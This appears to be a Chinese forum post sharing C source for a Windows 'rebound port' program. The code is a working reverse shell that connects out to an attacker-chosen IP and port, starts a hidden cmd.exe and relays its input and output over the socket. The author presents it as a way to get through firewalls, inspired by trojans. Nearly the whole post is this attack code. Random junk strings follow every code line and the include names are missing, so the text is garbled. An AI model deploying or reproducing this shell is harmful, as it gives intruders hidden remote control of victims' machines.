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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 85YUqVi9  
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/* ============================== |lt]9>|  
Rebound port in Windows NT ,AmwsXN"F  
By wind,2006/7 >`r3@|UY  
===============================*/ Aa=:AkrH  
#include AdVc1v&>  
#include f WZ(  
,jOJ\WXP  
#pragma comment(lib,"wsock32.lib") 8[;vC$  
%x N${4)6  
void OutputShell(); v\GVy[Qyv  
SOCKET sClient; ]} dQ~lOE  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k,[*h-{8  
D"rbQXR7$  
void main(int argc,char **argv) #MKM.T,\t  
{ #=t/wAE y:  
WSADATA stWsaData; Jy5sZ }t[  
int nRet; u<Y#J,p`e  
SOCKADDR_IN stSaiClient,stSaiServer;  =*&[K^  
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if(argc != 3) sxsb)a  
{ GlnO8cAB  
printf("Useage:\n\rRebound DestIP DestPort\n"); yVII<ImqIH  
return; +? h}e  
} Keozn*fzI  
'C/yQvJ  
WSAStartup(MAKEWORD(2,2),&stWsaData); <XIIT-b[  
z%OKv[/N  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @^xtxtjzux  
1>"-!ADm  
stSaiClient.sin_family = AF_INET; MfP)Pk5  
stSaiClient.sin_port = htons(0); PD)"od  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TG%B:^Yz!  
.^?zdW  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #,%7tXOLR  
{ R|C 2O[r}  
printf("Bind Socket Failed!\n"); s{-gsSmE  
return; n:,mo}?X  
} e"ehH#i  
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stSaiServer.sin_family = AF_INET; Zge(UhZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H+4j.eVzZU  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  .qgUD  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x;17}KV  
{ ]K"&Vd  
printf("Connect Error!"); O\6U2b~  
return; 9@lWI  
} m[^lu1\wn  
OutputShell(); xWxc1tT`  
} EU$.{C_O(  
Ks-$:~?5":  
void OutputShell() j,.\QwpU  
{ %up?70  
char szBuff[1024]; Ax;=Zh<DAv  
SECURITY_ATTRIBUTES stSecurityAttributes; 1z? }'&:  
OSVERSIONINFO stOsversionInfo; l4>^79**  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {'5"i?>s0>  
STARTUPINFO stStartupInfo; U[@y 8yN6M  
char *szShell; CIjc5^Y2  
PROCESS_INFORMATION stProcessInformation; `ePC$Ovn  
unsigned long lBytesRead; 0f^{Rp6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V)j[`,M:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A*EOn1hN  
stSecurityAttributes.lpSecurityDescriptor = 0; Rff F:,b  
stSecurityAttributes.bInheritHandle = TRUE; wDJ`#"5p{  
']r8q %  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u^1#9bAW8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xw-[Sf]p  
 Y{p$%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g8W,Xq+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uM-,}7f7  
stStartupInfo.wShowWindow = SW_HIDE; XBQt:7[<  
stStartupInfo.hStdInput = hReadPipe; Yc:%2KZ"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^7-zwl(>?N  
CL|/I:%0  
GetVersionEx(&stOsversionInfo); c$O8Rhx  
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switch(stOsversionInfo.dwPlatformId) S#7YJ7 K"N  
{ *l+#<5x  
case 1: ^"WV E["  
szShell = "command.com"; 0!T`.UMI  
break; YmziHns`b  
default: [3 Pp NCY  
szShell = "cmd.exe"; [nTI\17iA  
break; GJ+^t  
} K3T.l#d'L  
cHs3:F~~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8xAV[i  
Mo,&h?VOM?  
send(sClient,szMsg,77,0); /yOx=V  
while(1) /wV|;D^ )  
{ 3Q=^&o0fl  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l":W@R  
if(lBytesRead) Zxa.x?:?n  
{ t`Kbm''d[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6b2UPI7m~  
send(sClient,szBuff,lBytesRead,0); szI7 I$Qb  
} M/zO|-j&  
else U2q6^z4l  
{ Xz$4cI#n:  
lBytesRead=recv(sClient,szBuff,1024,0);  {>]\<  
if(lBytesRead<=0) break; *'%V}R[>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &Y]':gJ  
} +y GQt3U  
} d*gAL<M7E  
i5'&u:  
return; j~CnMKN  
}
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